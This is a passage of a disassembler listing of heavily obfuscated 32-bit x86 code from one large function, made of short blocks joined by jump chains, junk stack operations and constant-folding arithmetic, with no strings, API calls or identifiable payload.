		inc	ebp
		push	ecx
		mov	ecx, 0B99555CFh
		jmp	loc_5CDCF1
; ---------------------------------------------------------------------------


loc_5CCB77:				; CODE XREF: sub_5A55E5+2435Dj
		mov	ecx, [esp+44h+var_46+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5C9EDF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+44h+var_46+2]
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebx
		jmp	loc_5CD52C
; ---------------------------------------------------------------------------


loc_5CCB97:				; CODE XREF: sub_5A55E5+2CAE8j
		xchg	esi, [esp+48h+var_4A+2]
		jmp	loc_5D07F3
; ---------------------------------------------------------------------------


loc_5CCB9F:				; CODE XREF: sub_5A55E5+1D60Bj
		push	ebp
		mov	ebp, 7F817B25h
		mov	esi, ebp
		pop	ebp
		add	esi, 0F21E97ECh
		xor	ecx, esi
		jmp	loc_5D2367
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+96h+var_98+2]
		push	6EC3h
		mov	[esp+9Ah+var_9C+2], edi
		push	2BBFh
		jmp	loc_5D0A7B
; ---------------------------------------------------------------------------


loc_5CCBCB:				; CODE XREF: sub_5A55E5+21B6Bj
		mov	eax, [esp+90h+var_90]
		push	60E2h
		mov	[esp+94h+var_94], edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		push	esi
		jmp	loc_5D00D7
; ---------------------------------------------------------------------------


loc_5CCBE4:				; CODE XREF: sub_5A55E5+2DD2Ej
		push	326C3409h
		pop	edx
		not	edx
		sub	edx, 7C0B59D7h
		sub	esp, 4
		mov	[esp+0A0h+var_A0], edi
		mov	edi, 3A8928DDh
		jmp	loc_5D4091
; ---------------------------------------------------------------------------


loc_5CCC02:				; CODE XREF: sub_5A55E5+20636j
		push	edi
		push	[esp+76h+var_74+2]
		pop	edi
		jmp	loc_5D063C
; ---------------------------------------------------------------------------


loc_5CCC0D:				; CODE XREF: sub_5A55E5+25453j
		add	edx, eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0A8h+var_A8]
		jmp	loc_5C034F
; ---------------------------------------------------------------------------


loc_5CCC23:				; CODE XREF: sub_5A55E5+1BB6Aj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CCC28:				; CODE XREF: sub_5A55E5+26720j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0D4h+var_D4], eax
		jmp	loc_5D0153
; ---------------------------------------------------------------------------


loc_5CCC39:				; CODE XREF: sub_5A55E5+261DBj
		mov	ebx, edx
		mov	esi, ebx
		pop	ebx
		jmp	loc_5D059F
; ---------------------------------------------------------------------------


loc_5CCC43:				; CODE XREF: sub_5A55E5+2D557j
		add	ebx, 120D57A5h
		jmp	loc_5C7C82
; ---------------------------------------------------------------------------


loc_5CCC4E:				; CODE XREF: sub_5A55E5+22B30j
		not	cl
		jmp	loc_5D3D8D
; ---------------------------------------------------------------------------


loc_5CCC55:				; CODE XREF: sub_5A55E5+2CA47j
		mov	esi, 75D144A7h
		add	ebx, 4DF42D8Ch
		jmp	loc_5D091F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+8Eh+var_90+2], al
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CCC74:				; CODE XREF: sub_5A55E5+22F28j
		xchg	ebp, [esp+90h+var_90]
		jmp	loc_5CD3E1
; ---------------------------------------------------------------------------


loc_5CCC7C:				; CODE XREF: sub_5A55E5+2C62Ej
		pop	esi
		jmp	loc_5C0075
; ---------------------------------------------------------------------------


loc_5CCC82:				; CODE XREF: sub_5A55E5+2E25Dj
		xor	[esp+8Ch+var_8C], esi
		xor	esi, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		push	5D05h
		jmp	loc_5C5AF7
; ---------------------------------------------------------------------------


loc_5CCC95:				; CODE XREF: sub_5A55E5+20E02j
		pop	esi
		mov	eax, edx
		mov	edx, [esp+7Ch+var_7C]
		add	esp, 4
		xor	[esp+78h+var_74], eax
		jmp	loc_5CAC9E
; ---------------------------------------------------------------------------


loc_5CCCA7:				; CODE XREF: sub_5A55E5+2DD6Bj
		push	esp
		mov	ebp, [esp+7Ch+var_7C]
		add	esp, 4
		push	ecx
		mov	ecx, 31D81791h
		shr	ecx, 4
		jmp	loc_5C81CE
; ---------------------------------------------------------------------------


loc_5CCCBF:				; CODE XREF: sub_5A55E5+1EBAFj
		add	esp, 4
		xor	esi, [esp+88h+var_88]
		xor	[esp+88h+var_88], esi
		xor	esi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		mov	[esp+88h+var_88], edx
		push	eax
		pushf
		jmp	loc_5C2148
; ---------------------------------------------------------------------------


loc_5CCCDB:				; CODE XREF: sub_5A55E5+1D8C7j
		add	esp, 4
		pop	edx
		push	5F64h
		jmp	loc_5C63C0
; ---------------------------------------------------------------------------


loc_5CCCE9:				; CODE XREF: sub_5A55E5+297EAj
		add	esp, 4
		add	ecx, ebx
		jmp	loc_5C8302
; ---------------------------------------------------------------------------


loc_5CCCF3:				; CODE XREF: sub_5A55E5+29FE5j
		pop	edx
		push	2724h
		jmp	loc_5D133E
; ---------------------------------------------------------------------------


loc_5CCCFE:				; CODE XREF: sub_5A55E5+1FCFAj
		add	esp, 4
		jmp	loc_5D0ECF
; ---------------------------------------------------------------------------


loc_5CCD09:				; CODE XREF: sub_5A55E5+2D4A6j
		xor	ebp, [esp+84h+var_84]
		xor	[esp+84h+var_84], ebp
		xor	ebp, [esp+84h+var_84]
		jmp	loc_5CCFBB
; ---------------------------------------------------------------------------


loc_5CCD17:				; CODE XREF: sub_5A55E5+2A597j
		pop	esi
		push	ecx
		jmp	loc_5CFC67
; ---------------------------------------------------------------------------


loc_5CCD1E:				; CODE XREF: sub_5A55E5+25D4Dj
		add	ebp, 7B4903EDh
		neg	ebp
		neg	ebp
		sub	ebp, 38958C22h
		add	edi, ebp
		pop	ebp
		push	ecx
		push	eax
		mov	eax, 18C652BDh
		mov	ecx, 18C652B9h
		jmp	loc_5D36DC
; ---------------------------------------------------------------------------


loc_5CCD42:				; CODE XREF: sub_5A55E5+22667j
		add	esi, 2A17B6Eh
		jmp	loc_5D1242
; ---------------------------------------------------------------------------


loc_5CCD4D:				; CODE XREF: sub_5A55E5+242D0j
		xor	ebx, [esp+70h+var_70]
		jmp	loc_5D2194
; ---------------------------------------------------------------------------


loc_5CCD55:				; CODE XREF: sub_5A55E5+1BFC8j
		add	edi, 4
		xchg	edi, [esp+44h+var_46+2]
		pop	esp
		and	eax, 31973F70h
		sub	eax, 0C1041297h
		sub	ebx, eax
		jmp	loc_5C40CC
; ---------------------------------------------------------------------------


loc_5CCD6D:				; CODE XREF: sub_5A55E5+28649j
		xchg	esi, [esp+40h+var_42+2]
		jmp	loc_5CFA88
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		sub	esp, 4
		mov	[esp+44h+var_46+2], ebx
		jmp	loc_5D3A89
; ---------------------------------------------------------------------------


loc_5CCD85:				; CODE XREF: sub_5A55E5+2DAF3j
		not	eax
		jmp	loc_5C30A8
; ---------------------------------------------------------------------------


loc_5CCD8C:				; CODE XREF: sub_5A55E5+2AD9Dj
		neg	al
		jmp	loc_5D36E4
; ---------------------------------------------------------------------------


loc_5CCD93:				; CODE XREF: sub_5A55E5+29A0Dj
		and	ebx, esi
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_5CBF6D
; ---------------------------------------------------------------------------


loc_5CCDA3:				; CODE XREF: sub_5A55E5+28312j
		or	ebp, 3A7532FCh
		shr	ebp, 5
		push	ebx
		mov	ebx, 744F40F8h
		not	ebx
		add	ebx, 0D53B4949h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5CF678
; ---------------------------------------------------------------------------


loc_5CCDC2:				; CODE XREF: sub_5A55E5+26352j
		add	ebp, 4
		xchg	ebp, [esp+0B8h+var_B8]
		pop	esp
		add	edx, edi
		push	[esp+0B4h+var_B4]
		pop	edi
		add	esp, 4
		sub	edx, 36337B70h
		sub	edx, 452D59EEh
		sub	edx, eax
		jmp	loc_5C351B
; ---------------------------------------------------------------------------


loc_5CCDE8:				; CODE XREF: sub_5A55E5+1CA8Fj
		pop	[esp+8Eh+var_90+2]
		push	edi
		jmp	loc_5C0BE7
; ---------------------------------------------------------------------------


loc_5CCDF1:				; CODE XREF: sub_5A55E5+1E426j
		push	eax
		mov	eax, 446C3E72h
		mov	esi, 446C3E76h
		add	esi, 0E9F1016h
		sub	esi, eax
		jmp	loc_5C6373
; ---------------------------------------------------------------------------


loc_5CCE09:				; CODE XREF: sub_5A55E5+1FD09j
		push	54C3h
		jmp	loc_5CEDE3
; ---------------------------------------------------------------------------


loc_5CCE13:				; CODE XREF: sub_5A55E5+299DFj
		add	edi, 41D95C71h
		add	edi, edx
		sub	edi, 41D95C71h
		pop	edx
		add	edi, ecx
		push	23D6h
		mov	[esp+84h+var_84], esi
		mov	esi, 67DF6FCDh
		push	edx
		mov	edx, 30DE27C6h
		shl	edx, 8
		push	5FE5h
		mov	[esp+8Ch+var_8C], ebx
		mov	ebx, 33B66737h
		jmp	loc_5C36BD
; ---------------------------------------------------------------------------


loc_5CCE4C:				; CODE XREF: sub_5A55E5+25F6Dj
		push	ebp
		jmp	loc_5CFAEC
; ---------------------------------------------------------------------------
		push	[esp+5Ch+var_5C]
		jmp	loc_5C7723
; ---------------------------------------------------------------------------


loc_5CCE5A:				; CODE XREF: sub_5A55E5+2D1E3j
		mov	ebx, 5E564041h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5C228E
; ---------------------------------------------------------------------------


loc_5CCE67:				; CODE XREF: sub_5A55E5+2ADF2j
		sub	esp, 4
		jmp	loc_5D3436
; ---------------------------------------------------------------------------


loc_5CCE6F:				; CODE XREF: sub_5A55E5+289E8j
		push	1A85h
		mov	[esp+64h+var_64], edx
		mov	edx, esp
		add	edx, 4
		push	2B6Ch
		mov	[esp+68h+var_68], ecx
		push	edx
		push	12B4h
		mov	[esp+70h+var_70], esi
		mov	esi, 1E1665E9h
		shr	esi, 5
		or	esi, 5F792F82h
		add	esi, 44FC1006h
		add	esi, 0FFFFFFFFh
		xor	esi, 9F10CBB4h
		jmp	loc_5CBBE9
; ---------------------------------------------------------------------------


loc_5CCEB5:				; CODE XREF: sub_5A55E5+2CC2Fj
		sub	esp, 4
		mov	[esp+74h+var_74], ebx
		push	esi
		jmp	loc_5CD7EA
; ---------------------------------------------------------------------------


loc_5CCEC4:				; CODE XREF: sub_5A55E5+29E9Fj
		add	esi, 0A6D3BD13h
		mov	edx, esi
		pop	esi
		add	ecx, edx
		mov	edx, [esp+74h+var_74]
		push	34C0h
		mov	[esp+78h+var_78], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, 35101854h
		add	ecx, eax
		sub	ecx, 35101854h
		pop	eax
		xchg	ecx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		add	ecx, 4
		push	ecx
		push	[esp+7Ch+var_78]
		mov	ecx, [esp+80h+var_80]
		jmp	loc_5C5DEE
; ---------------------------------------------------------------------------


loc_5CCF0D:				; CODE XREF: sub_5A55E5+28D8Dj
		mov	[esp+80h+var_80], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+80h+var_80]
		pop	esp
		add	esp, 4
		add	ebx, 4
		push	1ED1h
		mov	[esp+7Ch+var_7C], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+7Ch+var_7C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, 780B34BAh
		jmp	loc_5C20AD
; ---------------------------------------------------------------------------


loc_5CCF57:				; CODE XREF: sub_5A55E5+1AA32j
		xor	edx, 0E587225h
		jmp	loc_5C2DEF
; ---------------------------------------------------------------------------


loc_5CCF62:				; CODE XREF: sub_5A55E5+2BF0Ej
		pop	edi
		add	eax, ecx
		add	eax, 394E57B3h
		add	eax, 320F1692h
		add	eax, 53FE2100h
		pop	ecx
		xor	eax, [esp+8Eh+var_90+2]
		jmp	loc_5C2AB9
; ---------------------------------------------------------------------------


loc_5CCF7D:				; CODE XREF: sub_5A55E5+202A0j
		pop	ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0A0h+var_A0], edx
		mov	edx, 3385707Fh
		jmp	loc_5C0770
; ---------------------------------------------------------------------------


loc_5CCF8F:				; CODE XREF: sub_5A55E5+1FECCj
		dec	eax
		push	esi
		mov	esi, 4DFA7D67h
		or	eax, esi
		pop	esi
		xor	eax, 0B464A5Ch
		or	ecx, eax
		mov	eax, [esp+0C6h+var_C8+2]
		add	esp, 4
		dec	ecx
		and	ecx, 29323F7Ah
		xor	ecx, 21303766h
		add	eax, ecx
		pop	ecx
		jmp	loc_5CA2FB
; ---------------------------------------------------------------------------


loc_5CCFBB:				; CODE XREF: sub_5A55E5+2772Dj
		mov	esp, [esp+84h+var_84]
		pop	ecx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CCFC4:				; CODE XREF: sub_5A55E5+1B605j
		mov	[esp+8Ah+var_8C+2], ebx
		push	[esp+8Ah+var_8C+2]
		jmp	loc_5C84AE
; ---------------------------------------------------------------------------


loc_5CCFCF:				; CODE XREF: sub_5A55E5+1CAF5j
		sub	eax, 58AD6DBFh
		pop	edx
		jmp	loc_5BFFFE
; ---------------------------------------------------------------------------


loc_5CCFDA:				; CODE XREF: sub_5A55E5+1AF01j
		sub	ebx, ecx
		mov	ecx, [esp+94h+var_94]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		and	eax, ebp
		jmp	loc_5C40E3
; ---------------------------------------------------------------------------


loc_5CCFEF:				; CODE XREF: sub_5A55E5+281EDj
		push	eax
		mov	eax, 1CE021B8h
		jmp	loc_5CB90B
; ---------------------------------------------------------------------------


loc_5CCFFA:				; CODE XREF: sub_5A55E5+28B12j
		dec	ecx
		neg	ecx
		sub	ecx, 640E62C7h
		add	eax, ecx
		pop	ecx
		sub	eax, 4B259A0h
		jmp	loc_5C70F3
; ---------------------------------------------------------------------------


loc_5CD010:				; CODE XREF: sub_5A55E5+2A96Dj
		pop	ecx
		jmp	loc_5C9AEA
; ---------------------------------------------------------------------------


loc_5CD016:				; CODE XREF: sub_5A55E5+2714Cj
		pop	esi
		jmp	loc_5C8C31
; ---------------------------------------------------------------------------


loc_5CD01C:				; CODE XREF: sub_5A55E5+2A086j
		sub	ebp, 4
		xchg	ebp, [esp+92h+var_94+2]
		pop	esp
		mov	[esp+8Eh+var_90+2], esp
		add	[esp+8Eh+var_90+2], 4
		pop	[esp+8Eh+var_90+2]
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ebp
		mov	ebp, 4
		add	[esp+8Eh+var_8C+2], ebp
		pop	ebp
		pop	ebp
		push	5D8Fh
		mov	[esp+8Ah+var_8C+2], edi
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], eax
		push	4617590Bh
		pop	eax
		mov	edi, eax
		jmp	loc_5C9070
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+8Eh+var_90+2]
		push	0D94h
		mov	[esp+92h+var_94+2], ecx
		push	esp
		pop	ecx
		jmp	loc_5C8CC2
; ---------------------------------------------------------------------------


loc_5CD075:				; CODE XREF: sub_5A55E5+29B4Cj
		add	edx, esi
		sub	edx, 4F05068Ch
		add	edx, 78330645h
		push	[esp+92h+var_94+2]
		mov	esi, [esp+96h+var_98+2]
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], eax
		jmp	loc_5C5A93
; ---------------------------------------------------------------------------


loc_5CD094:				; CODE XREF: sub_5A55E5+2525Fj
		push	ebx
		push	[esp+9Ch+var_98]
		mov	ebx, [esp+0A0h+var_A0]
		jmp	loc_5C0CCC
; ---------------------------------------------------------------------------


loc_5CD0A1:				; CODE XREF: sub_5A55E5+1B40Cj
		add	edx, 4
		jmp	loc_5C35CF
; ---------------------------------------------------------------------------


loc_5CD0AC:				; CODE XREF: sub_5A55E5+21217j
		mov	eax, 2D8E74F1h
		neg	eax
		push	edx
		mov	edx, 584972C9h
		xor	eax, edx
		pop	edx
		mov	esi, eax
		mov	eax, [esp+98h+var_98]
		add	esp, 4
		push	0CEh
		mov	[esp+98h+var_98], ebp
		jmp	loc_5C2E14
; ---------------------------------------------------------------------------


loc_5CD0D4:				; CODE XREF: sub_5A55E5+2C03Dj
		mov	[esp+98h+var_98], ebp
		jmp	loc_5D3744
; ---------------------------------------------------------------------------


loc_5CD0DC:				; CODE XREF: sub_5A55E5+21F56j
		mov	ebx, [esp+52h+var_54+2]
		push	edi
		jmp	loc_5C1FC2
; ---------------------------------------------------------------------------


loc_5CD0E5:				; CODE XREF: sub_5A55E5+225C9j
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+0B0h+var_B0]
		add	[esp+0ACh+var_AC], 4
		jmp	loc_5C625A
; ---------------------------------------------------------------------------


loc_5CD0FC:				; CODE XREF: sub_5A55E5+239A6j
		mov	[esp+8Eh+var_90+2], ebx
		push	[esp+8Eh+var_90+2]
		mov	eax, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5C5947
; ---------------------------------------------------------------------------


loc_5CD110:				; CODE XREF: sub_5A55E5+1DD1Bj
		pop	esi
		sub	esi, 4133086Dh
		mov	ebp, [esp+70h+var_70]
		add	esp, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+68h+var_68]
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CD12C:				; CODE XREF: sub_5A55E5+25172j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp+0B0h+var_B0], ecx
		mov	ecx, 56F6E8Eh
		xor	ecx, 48804A93h
		push	eax
		jmp	loc_5CDA4E
; ---------------------------------------------------------------------------


loc_5CD148:				; CODE XREF: sub_5A55E5+22913j
		mov	ebx, [esp+9Ch+var_9C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5C1D27
; ---------------------------------------------------------------------------


loc_5CD15C:				; CODE XREF: sub_5A55E5+2B3F2j
		sub	esi, eax
		pop	eax
		add	ebx, esi
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5D31EE
; ---------------------------------------------------------------------------


loc_5CD16F:				; CODE XREF: sub_5A55E5+2A8C6j
		pop	esi
		sub	edx, 0D95A8E32h
		mov	ebx, edx
		pop	edx
		sub	ebx, 31735559h
		jmp	loc_5C3432
; ---------------------------------------------------------------------------


loc_5CD184:				; CODE XREF: sub_5A55E5+1B776j
		or	ebp, 8C07C15h
		dec	ebp
		jmp	loc_5C8C5D
; ---------------------------------------------------------------------------


loc_5CD190:				; CODE XREF: sub_5A55E5+1DEEBj
		mov	eax, [esp+0D0h+var_D0]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+0CCh+var_CC]
		pop	esp
		add	esi, 50E312BBh
		add	esi, 7FCB498Fh
		add	esi, ecx
		push	ecx
		mov	ecx, 60332892h
		add	ecx, 43335F3Ch
		and	ecx, 51086708h
		push	edi
		jmp	loc_5C7B36
; ---------------------------------------------------------------------------


loc_5CD1C6:				; CODE XREF: sub_5A55E5+2860Bj
		mov	eax, [esp+0D0h+var_D0]
		add	esp, 4
		push	edx
		mov	edx, 3F5C41F7h
		jmp	loc_5C1C8B
; ---------------------------------------------------------------------------


loc_5CD1DA:				; CODE XREF: sub_5A55E5+2C972j
		mov	dl, 15h
		add	dl, 0C7h
		inc	dl
		or	dl, 76h
		jmp	loc_5D2E52
; ---------------------------------------------------------------------------


loc_5CD1E9:				; CODE XREF: sub_5A55E5+2AA02j
		add	esp, 4
		xchg	eax, [esp+0CCh+var_CC]
		mov	esp, [esp+0CCh+var_CC]
		idiv	cl
		movzx	cx, ah
		push	small 4EAEh
		mov	word ptr [esp+0CEh+var_D0+2], cx
		jmp	loc_5C35D8
; ---------------------------------------------------------------------------


loc_5CD208:				; CODE XREF: sub_5A55E5+20861j
		xor	ecx, ebx
		jmp	loc_5C6801
; ---------------------------------------------------------------------------


loc_5CD20F:				; CODE XREF: sub_5A55E5+1C6EEj
		add	ecx, 4
		jmp	loc_5C03EE
; ---------------------------------------------------------------------------


loc_5CD21A:				; CODE XREF: sub_5A55E5+2A41Cj
		and	ebx, 661F23D5h
		inc	ebx
		sub	ebx, 3E39E818h
		add	ebp, ebx
		jmp	loc_5CC27F
; ---------------------------------------------------------------------------


loc_5CD22E:				; CODE XREF: sub_5A55E5+2AE63j
		shl	dl, 8
		shl	dl, 3
		add	dl, 94h
		sub	dl, 20h
		add	al, dl
		jmp	loc_5C298F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		jmp	loc_5C1398
; ---------------------------------------------------------------------------


loc_5CD249:				; CODE XREF: sub_5A55E5+2B4E0j
		mov	bx, word ptr [esp+0B0h+var_B0]
		add	esp, 2
		mov	dh, bl
		pop	bx
		shr	dh, 2
		push	eax
		push	edx
		push	eax
		mov	ah, 0Eh
		inc	ah
		or	ah, 11h
		inc	ah
		sub	ah, 0Ah
		not	ah
		jmp	loc_5D10B9
; ---------------------------------------------------------------------------


loc_5CD26D:				; CODE XREF: sub_5A55E5+2A3CBj
		shl	cl, 7
		neg	cl
		xor	cl, 69h
		shl	cl, 3
		and	cl, 5Dh
		sub	cl, 0
		xor	cl, 4Dh
		add	bl, cl
		mov	cx, word ptr [esp+0B6h+var_B8+2]
		add	esp, 2
		sub	esp, 2
		mov	word ptr [esp+0B6h+var_B8+2], ax
		mov	al, 6Fh
		add	bl, 37h
		sub	bl, al
		sub	bl, 37h
		pop	ax
		jmp	loc_5CF52F
; ---------------------------------------------------------------------------


loc_5CD2A2:				; CODE XREF: sub_5A55E5+25998j
		push	edi
		jmp	loc_5C2F6B
; ---------------------------------------------------------------------------


loc_5CD2A8:				; CODE XREF: sub_5A55E5+24696j
		pop	ebx
		sub	al, 64h
		sub	al, bl
		add	al, 64h
		jmp	loc_5C077F
; ---------------------------------------------------------------------------


loc_5CD2B4:				; CODE XREF: sub_5A55E5+1B979j
		push	edi
		pop	eax
		pop	edi
		sub	edx, eax
		mov	eax, [esp+94h+var_94]
		add	esp, 4
		push	edi
		mov	edi, 12DC1BD9h
		add	edx, 56CF78EAh
		push	eax
		mov	eax, 3634541Dh
		add	edx, eax
		pop	eax
		add	edx, edi
		sub	edx, 3634541Dh
		push	edi
		jmp	loc_5CAC94
; ---------------------------------------------------------------------------


loc_5CD2E2:				; CODE XREF: sub_5A55E5+24E19j
		movzx	eax, al
		push	78F7h
		jmp	loc_5C6641
; ---------------------------------------------------------------------------


loc_5CD2EF:				; CODE XREF: sub_5A55E5+2E1AFj
		push	ecx
		jmp	loc_5CEE04
; ---------------------------------------------------------------------------


loc_5CD2F5:				; CODE XREF: sub_5A55E5+1F9B2j
		xchg	ecx, [esp+96h+var_98+2]
		pop	esp
		add	eax, edi
		add	eax, 1D3F7B80h
		mov	edi, [esp+92h+var_94+2]
		add	esp, 4
		push	46Bh
		mov	[esp+92h+var_94+2], ecx
		push	edi
		push	1D287591h
		pop	edi
		neg	edi
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], esi
		mov	esi, 4C424BBDh
		sub	esp, 4
		mov	[esp+9Eh+var_A0+2], ebp
		mov	ebp, 26CD2091h
		sub	ebp, 0B75B672h
		jmp	loc_5C2716
; ---------------------------------------------------------------------------


loc_5CD338:				; CODE XREF: sub_5A55E5+1FACAj
		mov	[esp+58h+var_58], ecx
		jmp	loc_5C166A
; ---------------------------------------------------------------------------


loc_5CD340:				; CODE XREF: sub_5A55E5+221A9j
		add	esp, 4
		jmp	loc_5D36F9
; ---------------------------------------------------------------------------


loc_5CD348:				; CODE XREF: sub_5A55E5+1E579j
		add	edx, 4
		push	ecx
		sub	esp, 4
		jmp	loc_5D0CF9
; ---------------------------------------------------------------------------


loc_5CD35A:				; CODE XREF: sub_5A55E5+1DCF4j
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		dec	esi
		shl	esi, 4
		push	edi
		mov	edi, 56B32FA8h
		xor	edi, 1D344070h
		push	ebp
		mov	ebp, 23DB715Eh
		add	edi, ebp
		pop	ebp
		dec	edi
		jmp	loc_5C789B
; ---------------------------------------------------------------------------


loc_5CD37D:				; CODE XREF: sub_5A55E5+28020j
		not	ebx
		xor	ebx, 0F1EA712Bh
		add	eax, 4AC120D1h
		add	eax, ebx
		sub	eax, 4AC120D1h
		jmp	loc_5C8D71
; ---------------------------------------------------------------------------


loc_5CD396:				; CODE XREF: sub_5A55E5+2BFCDj
		mov	edx, [esp+0A6h+var_A8+2]
		add	esp, 4
		push	edx
		push	2941h
		mov	[esp+0AAh+var_AC+2], edi
		jmp	loc_5D24DF
; ---------------------------------------------------------------------------


loc_5CD3AD:				; CODE XREF: sub_5A55E5+1FA00j
		add	al, dl
		push	ecx
		mov	ch, 37h
		add	ch, 6
		push	eax
		mov	al, 88h
		add	ch, al
		pop	eax
		add	ch, 3Ah
		add	ch, 22h
		push	eax
		push	ecx
		mov	ch, 90h
		jmp	loc_5D0E79
; ---------------------------------------------------------------------------


loc_5CD3CA:				; CODE XREF: sub_5A55E5+27235j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+0B2h+var_B4+2]
		mov	esp, [esp+0B2h+var_B4+2]
		jmp	loc_5CC635
; ---------------------------------------------------------------------------


loc_5CD3E1:				; CODE XREF: sub_5A55E5+27692j
		pop	esp
		jmp	loc_5D1E33
; ---------------------------------------------------------------------------


loc_5CD3E7:				; CODE XREF: sub_5A55E5+2D237j
		add	ebp, edi
		mov	edi, [esp+8Ch+var_8C]
		add	esp, 4
		xor	ebp, [esp+88h+var_88]
		xor	[esp+88h+var_88], ebp
		xor	ebp, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		push	[esp+88h+var_88]
		push	[esp+8Ch+var_8C]
		pop	ecx
		push	59h
		mov	[esp+90h+var_90], edi
		mov	edi, esp
		jmp	loc_5CF402
; ---------------------------------------------------------------------------


loc_5CD411:				; CODE XREF: sub_5A55E5+2CEE5j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5C1D97
; ---------------------------------------------------------------------------


loc_5CD41D:				; CODE XREF: sub_5A55E5+2D537j
		mov	edx, 524D038Ah
		push	ecx
		mov	ecx, 0
		sub	ecx, edx
		mov	edx, ecx
		pop	ecx
		jmp	loc_5C68E8
; ---------------------------------------------------------------------------


loc_5CD432:				; CODE XREF: sub_5A55E5+1D70Dj
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_5CBCE8
; ---------------------------------------------------------------------------


loc_5CD43D:				; CODE XREF: sub_5A55E5+29861j
		add	eax, esi
		pop	esi
		xchg	eax, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		push	eax
		mov	eax, 78414966h
		sub	ebx, 57D65C77h
		sub	ebx, eax
		add	ebx, 57D65C77h
		pop	eax
		sub	ebx, eax
		push	edx
		mov	edx, 688A4828h
		and	edx, 342D0659h
		jmp	loc_5D15DC
; ---------------------------------------------------------------------------


loc_5CD46E:				; CODE XREF: sub_5A55E5+2E1B6j
		pop	esi
		pop	ebp
		sub	ebx, esi
		push	[esp+88h+var_88]
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CD486:				; CODE XREF: sub_5A55E5+1FA30j
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		jmp	loc_5CEC3F
; ---------------------------------------------------------------------------


loc_5CD48F:				; CODE XREF: sub_5A55E5+2DDF5j
		push	[esp+0A2h+var_A4+2]
		jmp	loc_5D0780
; ---------------------------------------------------------------------------


loc_5CD497:				; CODE XREF: sub_5A55E5+1B223j
		add	edi, 3B513AF1h
		push	550Bh
		mov	[esp+90h+var_90], ebx
		mov	ebx, 5DDE1D0Ah
		jmp	loc_5C6955
; ---------------------------------------------------------------------------


loc_5CD4AF:				; CODE XREF: sub_5A55E5+1CFC5j
		mov	[esp+0ACh+var_AC], esi
		mov	esi, 2
		sub	ebp, 6232812h
		add	ebp, esi
		add	ebp, 6232812h
		jmp	loc_5C09D6
; ---------------------------------------------------------------------------


loc_5CD4CA:				; CODE XREF: sub_5A55E5+265C6j
		sub	esi, edi
		add	esi, 4C3262D5h
		pop	edi
		mov	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 1A39589Bh
		add	ecx, 6DC85D80h
		neg	ecx
		or	ecx, 2BB207E0h
		jmp	loc_5C2CD6
; ---------------------------------------------------------------------------


loc_5CD4EF:				; CODE XREF: sub_5A55E5+23ACAj
		xor	ecx, 0FA07B725h
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+74h+var_74]
		xor	[esp+74h+var_74], edi
		jmp	loc_5CA8C7
; ---------------------------------------------------------------------------


loc_5CD503:				; CODE XREF: sub_5A55E5+2A62Cj
		not	esi
		inc	esi
		sub	esi, 141A0979h
		neg	esi
		shr	esi, 8
		xor	esi, 4F0972A2h
		jmp	loc_5D2C17
; ---------------------------------------------------------------------------


loc_5CD51C:				; CODE XREF: sub_5A55E5+2C8F4j
		sub	esi, edx
		pop	edx
		push	72D8h
		mov	[esp+74h+var_74], ecx
		jmp	loc_5C132A
; ---------------------------------------------------------------------------


loc_5CD52C:				; CODE XREF: sub_5A55E5+275ADj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_5CA480
; ---------------------------------------------------------------------------


loc_5CD53B:				; CODE XREF: sub_5A55E5+227CFj
